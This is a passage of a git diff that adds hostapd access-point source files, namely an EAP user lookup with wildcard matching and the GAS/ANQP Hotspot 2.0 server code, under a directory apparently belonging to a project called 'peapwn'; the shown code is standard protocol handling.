Wildcard match */ + break; + } + + if (user->phase2 == !!phase2 && user->wildcard_prefix && + identity_len >= user->identity_len && + os_memcmp(user->identity, identity, user->identity_len) == + 0) { + /* Wildcard prefix match */ + break; + } + + if (user->phase2 == !!phase2 && + user->identity_len == identity_len && + os_memcmp(user->identity, identity, identity_len) == 0) + break; + user = user->next; + } + +#ifdef CONFIG_SQLITE + if (user == NULL && conf->eap_user_sqlite) { + return eap_user_sqlite_get(hapd, identity, identity_len, + phase2); + } +#endif /* CONFIG_SQLITE */ + + return user; +} diff --git a/peapwn/mods/hostap/src/ap/gas_serv.c b/peapwn/mods/hostap/src/ap/gas_serv.c new file mode 100644 index 000000000..8349c4dd2 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/gas_serv.c @@ -0,0 +1,1174 @@ +/* + * Generic advertisement service (GAS) server + * Copyright (c) 2011-2012, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "common/gas.h" +#include "utils/eloop.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "sta_info.h" +#include "gas_serv.h" + + +static struct gas_dialog_info * +gas_dialog_create(struct hostapd_data *hapd, const u8 *addr, u8 dialog_token) +{ + struct sta_info *sta; + struct gas_dialog_info *dia = NULL; + int i, j; + + sta = ap_get_sta(hapd, addr); + if (!sta) { + /* + * We need a STA entry to be able to maintain state for + * the GAS query. + */ + wpa_printf(MSG_DEBUG, "ANQP: Add a temporary STA entry for " + "GAS query"); + sta = ap_sta_add(hapd, addr); + if (!sta) { + wpa_printf(MSG_DEBUG, "Failed to add STA " MACSTR + " for GAS query", MAC2STR(addr)); + return NULL; + } + sta->flags |= WLAN_STA_GAS; + /* + * The default inactivity is 300 seconds. We don't need + * it to be that long. + */ + ap_sta_session_timeout(hapd, sta, 5); + } else { + ap_sta_replenish_timeout(hapd, sta, 5); + } + + if (sta->gas_dialog == NULL) { + sta->gas_dialog = os_zalloc(GAS_DIALOG_MAX * + sizeof(struct gas_dialog_info)); + if (sta->gas_dialog == NULL) + return NULL; + } + + for (i = sta->gas_dialog_next, j = 0; j < GAS_DIALOG_MAX; i++, j++) { + if (i == GAS_DIALOG_MAX) + i = 0; + if (sta->gas_dialog[i].valid) + continue; + dia = &sta->gas_dialog[i]; + dia->valid = 1; + dia->index = i; + dia->dialog_token = dialog_token; + sta->gas_dialog_next = (++i == GAS_DIALOG_MAX) ? 0 : i; + return dia; + } + + wpa_msg(hapd->msg_ctx, MSG_ERROR, "ANQP: Could not create dialog for " + MACSTR " dialog_token %u. Consider increasing " + "GAS_DIALOG_MAX.", MAC2STR(addr), dialog_token); + + return NULL; +} + + +struct gas_dialog_info * +gas_serv_dialog_find(struct hostapd_data *hapd, const u8 *addr, + u8 dialog_token) +{ + struct sta_info *sta; + int i; + + sta = ap_get_sta(hapd, addr); + if (!sta) { + wpa_printf(MSG_DEBUG, "ANQP: could not find STA " MACSTR, + MAC2STR(addr)); + return NULL; + } + for (i = 0; sta->gas_dialog && i < GAS_DIALOG_MAX; i++) { + if (sta->gas_dialog[i].dialog_token != dialog_token || + !sta->gas_dialog[i].valid) + continue; + return &sta->gas_dialog[i]; + } + wpa_printf(MSG_DEBUG, "ANQP: Could not find dialog for " + MACSTR " dialog_token %u", MAC2STR(addr), dialog_token); + return NULL; +} + + +void gas_serv_dialog_clear(struct gas_dialog_info *dia) +{ + wpabuf_free(dia->sd_resp); + os_memset(dia, 0, sizeof(*dia)); +} + + +static void gas_serv_free_dialogs(struct hostapd_data *hapd, + const u8 *sta_addr) +{ + struct sta_info *sta; + int i; + + sta = ap_get_sta(hapd, sta_addr); + if (sta == NULL || sta->gas_dialog == NULL) + return; + + for (i = 0; i < GAS_DIALOG_MAX; i++) { + if (sta->gas_dialog[i].valid) + return; + } + + os_free(sta->gas_dialog); + sta->gas_dialog = NULL; +} + + +#ifdef CONFIG_HS20 +static void anqp_add_hs_capab_list(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + u8 *len; + + len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); + wpabuf_put_u8(buf, HS20_STYPE_CAPABILITY_LIST); + wpabuf_put_u8(buf, 0); /* Reserved */ + wpabuf_put_u8(buf, HS20_STYPE_CAPABILITY_LIST); + if (hapd->conf->hs20_oper_friendly_name) + wpabuf_put_u8(buf, HS20_STYPE_OPERATOR_FRIENDLY_NAME); + if (hapd->conf->hs20_wan_metrics) + wpabuf_put_u8(buf, HS20_STYPE_WAN_METRICS); + if (hapd->conf->hs20_connection_capability) + wpabuf_put_u8(buf, HS20_STYPE_CONNECTION_CAPABILITY); + if (hapd->conf->nai_realm_data) + wpabuf_put_u8(buf, HS20_STYPE_NAI_HOME_REALM_QUERY); + if (hapd->conf->hs20_operating_class) + wpabuf_put_u8(buf, HS20_STYPE_OPERATING_CLASS); + gas_anqp_set_element_len(buf, len); +} +#endif /* CONFIG_HS20 */ + + +static void anqp_add_capab_list(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + u8 *len; + + len = gas_anqp_add_element(buf, ANQP_CAPABILITY_LIST); + wpabuf_put_le16(buf, ANQP_CAPABILITY_LIST); + if (hapd->conf->venue_name) + wpabuf_put_le16(buf, ANQP_VENUE_NAME); + if (hapd->conf->network_auth_type) + wpabuf_put_le16(buf, ANQP_NETWORK_AUTH_TYPE); + if (hapd->conf->roaming_consortium) + wpabuf_put_le16(buf, ANQP_ROAMING_CONSORTIUM); + if (hapd->conf->ipaddr_type_configured) + wpabuf_put_le16(buf, ANQP_IP_ADDR_TYPE_AVAILABILITY); + if (hapd->conf->nai_realm_data) + wpabuf_put_le16(buf, ANQP_NAI_REALM); + if (hapd->conf->anqp_3gpp_cell_net) + wpabuf_put_le16(buf, ANQP_3GPP_CELLULAR_NETWORK); + if (hapd->conf->domain_name) + wpabuf_put_le16(buf, ANQP_DOMAIN_NAME); +#ifdef CONFIG_HS20 + anqp_add_hs_capab_list(hapd, buf); +#endif /* CONFIG_HS20 */ + gas_anqp_set_element_len(buf, len); +} + + +static void anqp_add_venue_name(struct hostapd_data *hapd, struct wpabuf *buf) +{ + if (hapd->conf->venue_name) { + u8 *len; + unsigned int i; + len = gas_anqp_add_element(buf, ANQP_VENUE_NAME); + wpabuf_put_u8(buf, hapd->conf->venue_group); + wpabuf_put_u8(buf, hapd->conf->venue_type); + for (i = 0; i < hapd->conf->venue_name_count; i++) { + struct hostapd_lang_string *vn; + vn = &hapd->conf->venue_name[i]; + wpabuf_put_u8(buf, 3 + vn->name_len); + wpabuf_put_data(buf, vn->lang, 3); + wpabuf_put_data(buf, vn->name, vn->name_len); + } + gas_anqp_set_element_len(buf, len); + } +} + + +static void anqp_add_network_auth_type(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + if (hapd->conf->network_auth_type) { + wpabuf_put_le16(buf, ANQP_NETWORK_AUTH_TYPE); + wpabuf_put_le16(buf, hapd->conf->network_auth_type_len); + wpabuf_put_data(buf, hapd->conf->network_auth_type, + hapd->conf->network_auth_type_len); + } +} + + +static void anqp_add_roaming_consortium(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + unsigned int i; + u8 *len; + + len = gas_anqp_add_element(buf, ANQP_ROAMING_CONSORTIUM); + for (i = 0; i < hapd->conf->roaming_consortium_count; i++) { + struct hostapd_roaming_consortium *rc; + rc = &hapd->conf->roaming_consortium[i]; + wpabuf_put_u8(buf, rc->len); + wpabuf_put_data(buf, rc->oi, rc->len); + } + gas_anqp_set_element_len(buf, len); +} + + +static void anqp_add_ip_addr_type_availability(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + if (hapd->conf->ipaddr_type_configured) { + wpabuf_put_le16(buf, ANQP_IP_ADDR_TYPE_AVAILABILITY); + wpabuf_put_le16(buf, 1); + wpabuf_put_u8(buf, hapd->conf->ipaddr_type_availability); + } +} + + +static void anqp_add_nai_realm_eap(struct wpabuf *buf, + struct hostapd_nai_realm_data *realm) +{ + unsigned int i, j; + + wpabuf_put_u8(buf, realm->eap_method_count); + + for (i = 0; i < realm->eap_method_count; i++) { + struct hostapd_nai_realm_eap *eap = &realm->eap_method[i]; + wpabuf_put_u8(buf, 2 + (3 * eap->num_auths)); + wpabuf_put_u8(buf, eap->eap_method); + wpabuf_put_u8(buf, eap->num_auths); + for (j = 0; j < eap->num_auths; j++) { + wpabuf_put_u8(buf, eap->auth_id[j]); + wpabuf_put_u8(buf, 1); + wpabuf_put_u8(buf, eap->auth_val[j]); + } + } +} + + +static void anqp_add_nai_realm_data(struct wpabuf *buf, + struct hostapd_nai_realm_data *realm, + unsigned int realm_idx) +{ + u8 *realm_data_len; + + wpa_printf(MSG_DEBUG, "realm=%s, len=%d", realm->realm[realm_idx], + (int) os_strlen(realm->realm[realm_idx])); + realm_data_len = wpabuf_put(buf, 2); + wpabuf_put_u8(buf, realm->encoding); + wpabuf_put_u8(buf, os_strlen(realm->realm[realm_idx])); + wpabuf_put_str(buf, realm->realm[realm_idx]); + anqp_add_nai_realm_eap(buf, realm); + gas_anqp_set_element_len(buf, realm_data_len); +} + + +static int hs20_add_nai_home_realm_matches(struct hostapd_data *hapd, + struct wpabuf *buf, + const u8 *home_realm, + size_t home_realm_len) +{ + unsigned int i, j, k; + u8 num_realms, num_matching = 0, encoding, realm_len, *realm_list_len; + struct hostapd_nai_realm_data *realm; + const u8 *pos, *realm_name, *end; + struct { + unsigned int realm_data_idx; + unsigned int realm_idx; + } matches[10]; + + pos = home_realm; + end = pos + home_realm_len; + if (pos + 1 > end) { + wpa_hexdump(MSG_DEBUG, "Too short NAI Home Realm Query", + home_realm, home_realm_len); + return -1; + } + num_realms = *pos++; + + for (i = 0; i < num_realms && num_matching < 10; i++) { + if (pos + 2 > end) { + wpa_hexdump(MSG_DEBUG, + "Truncated NAI Home Realm Query", + home_realm, home_realm_len); + return -1; + } + encoding = *pos++; + realm_len = *pos++; + if (pos + realm_len > end) { + wpa_hexdump(MSG_DEBUG, + "Truncated NAI Home Realm Query", + home_realm, home_realm_len); + return -1; + } + realm_name = pos; + for (j = 0; j < hapd->conf->nai_realm_count && + num_matching < 10; j++) { + const u8 *rpos, *rend; + realm = &hapd->conf->nai_realm_data[j]; + if (encoding != realm->encoding) + continue; + + rpos = realm_name; + while (rpos < realm_name + realm_len && + num_matching < 10) { + for (rend = rpos; + rend < realm_name + realm_len; rend++) { + if (*rend == ';') + break; + } + for (k = 0; k < MAX_NAI_REALMS && + realm->realm[k] && + num_matching < 10; k++) { + if ((int) os_strlen(realm->realm[k]) != + rend - rpos || + os_strncmp((char *) rpos, + realm->realm[k], + rend - rpos) != 0) + continue; + matches[num_matching].realm_data_idx = + j; + matches[num_matching].realm_idx = k; + num_matching++; + } + rpos = rend + 1; + } + } + pos += realm_len; + } + + realm_list_len = gas_anqp_add_element(buf, ANQP_NAI_REALM); + wpabuf_put_le16(buf, num_matching); + + /* + * There are two ways to format. 1. each realm in a NAI Realm Data unit + * 2. all realms that share the same EAP methods in a NAI Realm Data + * unit. The first format is likely to be bigger in size than the + * second, but may be easier to parse and process by the receiver. + */ + for (i = 0; i < num_matching; i++) { + wpa_printf(MSG_DEBUG, "realm_idx %d, realm_data_idx %d", + matches[i].realm_data_idx, matches[i].realm_idx); + realm = &hapd->conf->nai_realm_data[matches[i].realm_data_idx]; + anqp_add_nai_realm_data(buf, realm, matches[i].realm_idx); + } + gas_anqp_set_element_len(buf, realm_list_len); + return 0; +} + + +static void anqp_add_nai_realm(struct hostapd_data *hapd, struct wpabuf *buf, + const u8 *home_realm, size_t home_realm_len, + int nai_realm, int nai_home_realm) +{ + if (nai_realm && hapd->conf->nai_realm_data) { + u8 *len; + unsigned int i, j; + len = gas_anqp_add_element(buf, ANQP_NAI_REALM); + wpabuf_put_le16(buf, hapd->conf->nai_realm_count); + for (i = 0; i < hapd->conf->nai_realm_count; i++) { + u8 *realm_data_len, *realm_len; + struct hostapd_nai_realm_data *realm; + + realm = &hapd->conf->nai_realm_data[i]; + realm_data_len = wpabuf_put(buf, 2); + wpabuf_put_u8(buf, realm->encoding); + realm_len = wpabuf_put(buf, 1); + for (j = 0; realm->realm[j]; j++) { + if (j > 0) + wpabuf_put_u8(buf, ';'); + wpabuf_put_str(buf, realm->realm[j]); + } + *realm_len = (u8 *) wpabuf_put(buf, 0) - realm_len - 1; + anqp_add_nai_realm_eap(buf, realm); + gas_anqp_set_element_len(buf, realm_data_len); + } + gas_anqp_set_element_len(buf, len); + } else if (nai_home_realm && hapd->conf->nai_realm_data) { + hs20_add_nai_home_realm_matches(hapd, buf, home_realm, + home_realm_len); + } +} + + +static void anqp_add_3gpp_cellular_network(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + if (hapd->conf->anqp_3gpp_cell_net) { + wpabuf_put_le16(buf, ANQP_3GPP_CELLULAR_NETWORK); + wpabuf_put_le16(buf, + hapd->conf->anqp_3gpp_cell_net_len); + wpabuf_put_data(buf, hapd->conf->anqp_3gpp_cell_net, + hapd->conf->anqp_3gpp_cell_net_len); + } +} + + +static void anqp_add_domain_name(struct hostapd_data *hapd, struct wpabuf *buf) +{ + if (hapd->conf->domain_name) { + wpabuf_put_le16(buf, ANQP_DOMAIN_NAME); + wpabuf_put_le16(buf, hapd->conf->domain_name_len); + wpabuf_put_data(buf, hapd->conf->domain_name, + hapd->conf->domain_name_len); + } +} + + +#ifdef CONFIG_HS20 + +static void anqp_add_operator_friendly_name(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + if (hapd->conf->hs20_oper_friendly_name) { + u8 *len; + unsigned int i; + len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); + wpabuf_put_u8(buf, HS20_STYPE_OPERATOR_FRIENDLY_NAME); + wpabuf_put_u8(buf, 0); /* Reserved */ + for (i = 0; i < hapd->conf->hs20_oper_friendly_name_count; i++) + { + struct hostapd_lang_string *vn; + vn = &hapd->conf->hs20_oper_friendly_name[i]; + wpabuf_put_u8(buf, 3 + vn->name_len); + wpabuf_put_data(buf, vn->lang, 3); + wpabuf_put_data(buf, vn->name, vn->name_len); + } + gas_anqp_set_element_len(buf, len); + } +} + + +static void anqp_add_wan_metrics(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + if (hapd->conf->hs20_wan_metrics) { + u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); + wpabuf_put_u8(buf, HS20_STYPE_WAN_METRICS); + wpabuf_put_u8(buf, 0); /* Reserved */ + wpabuf_put_data(buf, hapd->conf->hs20_wan_metrics, 13); + gas_anqp_set_element_len(buf, len); + } +} + + +static void anqp_add_connection_capability(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + if (hapd->conf->hs20_connection_capability) { + u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); + wpabuf_put_u8(buf, HS20_STYPE_CONNECTION_CAPABILITY); + wpabuf_put_u8(buf, 0); /* Reserved */ + wpabuf_put_data(buf, hapd->conf->hs20_connection_capability, + hapd->conf->hs20_connection_capability_len); + gas_anqp_set_element_len(buf, len); + } +} + + +static void anqp_add_operating_class(struct hostapd_data *hapd, + struct wpabuf *buf) +{ + if (hapd->conf->hs20_operating_class) { + u8 *len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); + wpabuf_put_be24(buf, OUI_WFA); + wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); + wpabuf_put_u8(buf, HS20_STYPE_OPERATING_CLASS); + wpabuf_put_u8(buf, 0); /* Reserved */ + wpabuf_put_data(buf, hapd->conf->hs20_operating_class, + hapd->conf->hs20_operating_class_len); + gas_anqp_set_element_len(buf, len); + } +} + +#endif /* CONFIG_HS20 */ + + +static struct wpabuf * +gas_serv_build_gas_resp_payload(struct hostapd_data *hapd, + unsigned int request, + struct gas_dialog_info *di, + const u8 *home_realm, size_t home_realm_len) +{ + struct wpabuf *buf; + + buf = wpabuf_alloc(1400); + if (buf == NULL) + return NULL; + + if (request & ANQP_REQ_CAPABILITY_LIST) + anqp_add_capab_list(hapd, buf); + if (request & ANQP_REQ_VENUE_NAME) + anqp_add_venue_name(hapd, buf); + if (request & ANQP_REQ_NETWORK_AUTH_TYPE) + anqp_add_network_auth_type(hapd, buf); + if (request & ANQP_REQ_ROAMING_CONSORTIUM) + anqp_add_roaming_consortium(hapd, buf); + if (request & ANQP_REQ_IP_ADDR_TYPE_AVAILABILITY) + anqp_add_ip_addr_type_availability(hapd, buf); + if (request & (ANQP_REQ_NAI_REALM | ANQP_REQ_NAI_HOME_REALM)) + anqp_add_nai_realm(hapd, buf, home_realm, home_realm_len, + request & ANQP_REQ_NAI_REALM, + request & ANQP_REQ_NAI_HOME_REALM); + if (request & ANQP_REQ_3GPP_CELLULAR_NETWORK) + anqp_add_3gpp_cellular_network(hapd, buf); + if (request & ANQP_REQ_DOMAIN_NAME) + anqp_add_domain_name(hapd, buf); + +#ifdef CONFIG_HS20 + if (request & ANQP_REQ_HS_CAPABILITY_LIST) + anqp_add_hs_capab_list(hapd, buf); + if (request & ANQP_REQ_OPERATOR_FRIENDLY_NAME) + anqp_add_operator_friendly_name(hapd, buf); + if (request & ANQP_REQ_WAN_METRICS) + anqp_add_wan_metrics(hapd, buf); + if (request & ANQP_REQ_CONNECTION_CAPABILITY) + anqp_add_connection_capability(hapd, buf); + if (request & ANQP_REQ_OPERATING_CLASS) + anqp_add_operating_class(hapd, buf); +#endif /* CONFIG_HS20 */ + + return buf; +} + + +static void gas_serv_clear_cached_ies(void *eloop_data, void *user_ctx) +{ + struct gas_dialog_info *dia = eloop_data; + + wpa_printf(MSG_DEBUG, "GAS: Timeout triggered, clearing dialog for " + "dialog token %d", dia->dialog_token); + + gas_serv_dialog_clear(dia); +} + + +struct anqp_query_info { + unsigned int request; + unsigned int remote_request; + const u8 *home_realm_query; + size_t home_realm_query_len; + u16 remote_delay; +}; + + +static void set_anqp_req(unsigned int bit, const char *name, int local, + unsigned int remote, u16 remote_delay, + struct anqp_query_info *qi) +{ + qi->request |= bit; + if (local) { + wpa_printf(MSG_DEBUG, "ANQP: %s (local)", name); + } else if (bit & remote) { + wpa_printf(MSG_DEBUG, "ANQP: %s (remote)", name); + qi->remote_request |= bit; + if (remote_delay > qi->remote_delay) + qi->remote_delay = remote_delay; + } else { + wpa_printf(MSG_DEBUG, "ANQP: %s not available", name); + } +} + + +static void rx_anqp_query_list_id(struct hostapd_data *hapd, u16 info_id, + struct anqp_query_info *qi) +{ + switch (info_id) { + case ANQP_CAPABILITY_LIST: + set_anqp_req(ANQP_REQ_CAPABILITY_LIST, "Capability List", 1, 0, + 0, qi); + break; + case ANQP_VENUE_NAME: + set_anqp_req(ANQP_REQ_VENUE_NAME, "Venue Name", + hapd->conf->venue_name != NULL, 0, 0, qi); + break; + case ANQP_NETWORK_AUTH_TYPE: + set_anqp_req(ANQP_REQ_NETWORK_AUTH_TYPE, "Network Auth Type", + hapd->conf->network_auth_type != NULL, + 0, 0, qi); + break; + case ANQP_ROAMING_CONSORTIUM: + set_anqp_req(ANQP_REQ_ROAMING_CONSORTIUM, "Roaming Consortium", + hapd->conf->roaming_consortium != NULL, 0, 0, qi); + break; + case ANQP_IP_ADDR_TYPE_AVAILABILITY: + set_anqp_req(ANQP_REQ_IP_ADDR_TYPE_AVAILABILITY, + "IP Addr Type Availability", + hapd->conf->ipaddr_type_configured, + 0, 0, qi); + break; + case ANQP_NAI_REALM: + set_anqp_req(ANQP_REQ_NAI_REALM, "NAI Realm", + hapd->conf->nai_realm_data != NULL, + 0, 0, qi); + break; + case ANQP_3GPP_CELLULAR_NETWORK: + set_anqp_req(ANQP_REQ_3GPP_CELLULAR_NETWORK, + "3GPP Cellular Network", + hapd->conf->anqp_3gpp_cell_net != NULL, + 0, 0, qi); + break; + case ANQP_DOMAIN_NAME: + set_anqp_req(ANQP_REQ_DOMAIN_NAME, "Domain Name", + hapd->conf->domain_name != NULL, + 0, 0, qi); + break; + default: + wpa_printf(MSG_DEBUG, "ANQP: Unsupported Info Id %u", + info_id); + break; + } +} + + +static void rx_anqp_query_list(struct hostapd_data *hapd, + const u8 *pos, const u8 *end, + struct anqp_query_info *qi) +{ + wpa_printf(MSG_DEBUG, "ANQP: %u Info IDs requested in Query list", + (unsigned int) (end - pos) / 2); + + while (pos + 2 <= end) { + rx_anqp_query_list_id(hapd, WPA_GET_LE16(pos), qi); + pos += 2; + } +} + + +#ifdef CONFIG_HS20 + +static void rx_anqp_hs_query_list(struct hostapd_data *hapd, u8 subtype, + struct anqp_query_info *qi) +{ + switch (subtype) { + case HS20_STYPE_CAPABILITY_LIST: + set_anqp_req(ANQP_REQ_HS_CAPABILITY_LIST, "HS Capability List", + 1, 0, 0, qi); + break; + case HS20_STYPE_OPERATOR_FRIENDLY_NAME: + set_anqp_req(ANQP_REQ_OPERATOR_FRIENDLY_NAME, + "Operator Friendly Name", + hapd->conf->hs20_oper_friendly_name != NULL, + 0, 0, qi); + break; + case HS20_STYPE_WAN_METRICS: + set_anqp_req(ANQP_REQ_WAN_METRICS, "WAN Metrics", + hapd->conf->hs20_wan_metrics != NULL, + 0, 0, qi); + break; + case HS20_STYPE_CONNECTION_CAPABILITY: + set_anqp_req(ANQP_REQ_CONNECTION_CAPABILITY, + "Connection Capability", + hapd->conf->hs20_connection_capability != NULL, + 0, 0, qi); + break; + case HS20_STYPE_OPERATING_CLASS: + set_anqp_req(ANQP_REQ_OPERATING_CLASS, "Operating Class", + hapd->conf->hs20_operating_class != NULL, + 0, 0, qi); + break; + default: + wpa_printf(MSG_DEBUG, "ANQP: Unsupported HS 2.0 subtype %u", + subtype); + break; + } +} + + +static void rx_anqp_hs_nai_home_realm(struct hostapd_data *hapd, + const u8 *pos, const u8 *end, + struct anqp_query_info *qi) +{ + qi->request |= ANQP_REQ_NAI_HOME_REALM; + qi->home_realm_query = pos; + qi->home_realm_query_len = end - pos; + if (hapd->conf->nai_realm_data != NULL) { + wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 NAI Home Realm Query " + "(local)"); + } else { + wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 NAI Home Realm Query not " + "available"); + } +} + + +static void rx_anqp_vendor_specific(struct hostapd_data *hapd, + const u8 *pos, const u8 *end, + struct anqp_query_info *qi) +{ + u32 oui; + u8 subtype; + + if (pos + 4 > end) { + wpa_printf(MSG_DEBUG, "ANQP: Too short vendor specific ANQP " + "Query element"); + return; + } + + oui = WPA_GET_BE24(pos); + pos += 3; + if (oui != OUI_WFA) { + wpa_printf(MSG_DEBUG, "ANQP: Unsupported vendor OUI %06x", + oui); + return; + } + + if (*pos != HS20_ANQP_OUI_TYPE) { + wpa_printf(MSG_DEBUG, "ANQP: Unsupported WFA vendor type %u", + *pos); + return; + } + pos++; + + if (pos + 1 >= end) + return; + + subtype = *pos++; + pos++; /* Reserved */ + switch (subtype) { + case HS20_STYPE_QUERY_LIST: + wpa_printf(MSG_DEBUG, "ANQP: HS 2.0 Query List"); + while (pos < end) { + rx_anqp_hs_query_list(hapd, *pos, qi); + pos++; + } + break; + case HS20_STYPE_NAI_HOME_REALM_QUERY: + rx_anqp_hs_nai_home_realm(hapd, pos, end, qi); + break; + default: + wpa_printf(MSG_DEBUG, "ANQP: Unsupported HS 2.0 query subtype " + "%u", subtype); + break; + } +} + +#endif /* CONFIG_HS20 */ + + +static void gas_serv_req_local_processing(struct hostapd_data *hapd, + const u8 *sa, u8 dialog_token, + struct anqp_query_info *qi) +{ + struct wpabuf *buf, *tx_buf; + + buf = gas_serv_build_gas_resp_payload(hapd, qi->request, NULL, + qi->home_realm_query, + qi->home_realm_query_len); + wpa_hexdump_buf(MSG_MSGDUMP, "ANQP: Locally generated ANQP responses", + buf); + if (!buf) + return; + + if (wpabuf_len(buf) > hapd->gas_frag_limit || + hapd->conf->gas_comeback_delay) { + struct gas_dialog_info *di; + u16 comeback_delay = 1; + + if (hapd->conf->gas_comeback_delay) { + /* Testing - allow overriding of the delay value */ + comeback_delay = hapd->conf->gas_comeback_delay; + } + + wpa_printf(MSG_DEBUG, "ANQP: Too long response to fit in " + "initial response - use GAS comeback"); + di = gas_dialog_create(hapd, sa, dialog_token); + if (!di) { + wpa_printf(MSG_INFO, "ANQP: Could not create dialog " + "for " MACSTR " (dialog token %u)", + MAC2STR(sa), dialog_token); + wpabuf_free(buf); + return; + } + di->sd_resp = buf; + di->sd_resp_pos = 0; + tx_buf = gas_anqp_build_initial_resp_buf( + dialog_token, WLAN_STATUS_SUCCESS, comeback_delay, + NULL); + } else { + wpa_printf(MSG_DEBUG, "ANQP: Initial response (no comeback)"); + tx_buf = gas_anqp_build_initial_resp_buf( + dialog_token, WLAN_STATUS_SUCCESS, 0, buf); + wpabuf_free(buf); + } + if (!tx_buf) + return; + + hostapd_drv_send_action(hapd, hapd->iface->freq, 0, sa, + wpabuf_head(tx_buf), wpabuf_len(tx_buf)); + wpabuf_free(tx_buf); +} + + +static void gas_serv_rx_gas_initial_req(struct hostapd_data *hapd, + const u8 *sa, + const u8 *data, size_t len) +{ + const u8 *pos = data; + const u8 *end = data + len; + const u8 *next; + u8 dialog_token; + u16 slen; + struct anqp_query_info qi; + const u8 *adv_proto; + + if (len < 1 + 2) + return; + + os_memset(&qi, 0, sizeof(qi)); + + dialog_token = *pos++; + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "GAS: GAS Initial Request from " MACSTR " (dialog token %u) ", + MAC2STR(sa), dialog_token); + + if (*pos != WLAN_EID_ADV_PROTO) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "GAS: Unexpected IE in GAS Initial Request: %u", *pos); + return; + } + adv_proto = pos++; + + slen = *pos++; + next = pos + slen; + if (next > end || slen < 2) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "GAS: Invalid IE in GAS Initial Request"); + return; + } + pos++; /* skip QueryRespLenLimit and PAME-BI */ + + if (*pos != ACCESS_NETWORK_QUERY_PROTOCOL) { + struct wpabuf *buf; + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "GAS: Unsupported GAS advertisement protocol id %u", + *pos); + if (sa[0] & 0x01) + return; /* Invalid source address - drop silently */ + buf = gas_build_initial_resp( + dialog_token, WLAN_STATUS_GAS_ADV_PROTO_NOT_SUPPORTED, + 0, 2 + slen + 2); + if (buf == NULL) + return; + wpabuf_put_data(buf, adv_proto, 2 + slen); + wpabuf_put_le16(buf, 0); /* Query Response Length */ + hostapd_drv_send_action(hapd, hapd->iface->freq, 0, sa, + wpabuf_head(buf), wpabuf_len(buf)); + wpabuf_free(buf); + return; + } + + pos = next; + /* Query Request */ + if (pos + 2 > end) + return; + slen = WPA_GET_LE16(pos); + pos += 2; + if (pos + slen > end) + return; + end = pos + slen; + + /* ANQP Query Request */ + while (pos < end) { + u16 info_id, elen; + + if (pos + 4 > end) + return; + + info_id = WPA_GET_LE16(pos); + pos += 2; + elen = WPA_GET_LE16(pos); + pos += 2; + + if (pos + elen > end) { + wpa_printf(MSG_DEBUG, "ANQP: Invalid Query Request"); + return; + } + + switch (info_id) { + case ANQP_QUERY_LIST: + rx_anqp_query_list(hapd, pos, pos + elen, &qi); + break; +#ifdef CONFIG_HS20 + case ANQP_VENDOR_SPECIFIC: + rx_anqp_vendor_specific(hapd, pos, pos + elen, &qi); + break; +#endif /* CONFIG_HS20 */ + default: + wpa_printf(MSG_DEBUG, "ANQP: Unsupported Query " + "Request element %u", info_id); + break; + } + + pos += elen; + } + + gas_serv_req_local_processing(hapd, sa, dialog_token, &qi); +} + + +void gas_serv_tx_gas_response(struct hostapd_data *hapd, const u8 *dst, + struct gas_dialog_info *dialog) +{ + struct wpabuf *buf, *tx_buf; + u8 dialog_token = dialog->dialog_token; + size_t frag_len; + + if (dialog->sd_resp == NULL) { + buf = gas_serv_build_gas_resp_payload(hapd, + dialog->all_requested, + dialog, NULL, 0); + wpa_hexdump_buf(MSG_MSGDUMP, "ANQP: Generated ANQP responses", + buf); + if (!buf) + goto tx_gas_response_done; + dialog->sd_resp = buf; + dialog->sd_resp_pos = 0; + } + frag_len = wpabuf_len(dialog->sd_resp) - dialog->sd_resp_pos; + if (frag_len > hapd->gas_frag_limit || dialog->comeback_delay || + hapd->conf->gas_comeback_delay) { + u16 comeback_delay_tus = dialog->comeback_delay + + GAS_SERV_COMEBACK_DELAY_FUDGE; + u32 comeback_delay_secs, comeback_delay_usecs; + + if (hapd->conf->gas_comeback_delay) { + /* Testing - allow overriding of the delay value */ + comeback_delay_tus = hapd->conf->gas_comeback_delay; + } + + wpa_printf(MSG_DEBUG, "GAS: Response frag_len %u (frag limit " + "%u) and comeback delay %u, " + "requesting comebacks", (unsigned int) frag_len, + (unsigned int) hapd->gas_frag_limit, + dialog->comeback_delay); + tx_buf = gas_anqp_build_initial_resp_buf(dialog_token, + WLAN_STATUS_SUCCESS, + comeback_delay_tus, + NULL); + if (tx_buf) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, + "GAS: Tx GAS Initial Resp (comeback = 10TU)"); + hostapd_drv_send_action(hapd, hapd->iface->freq, 0, + dst, + wpabuf_head(tx_buf), + wpabuf_len(tx_buf)); + } + wpabuf_free(tx_buf); + + /* start a timer of 